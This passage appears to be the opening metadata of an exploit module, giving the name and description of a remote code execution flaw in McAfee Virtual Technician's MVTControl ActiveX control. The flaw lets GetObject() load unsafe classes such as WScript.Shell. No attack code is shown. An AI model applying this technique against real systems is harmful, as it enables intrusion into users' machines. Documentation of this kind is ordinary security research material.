'Name' => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in McAfee Virtual Technician's
MVTControl. This ActiveX control can be abused by using the GetObject() function
to load additional unsafe classes such as WScript.Shell, therefore allowing remote
code execution under the context of the user.
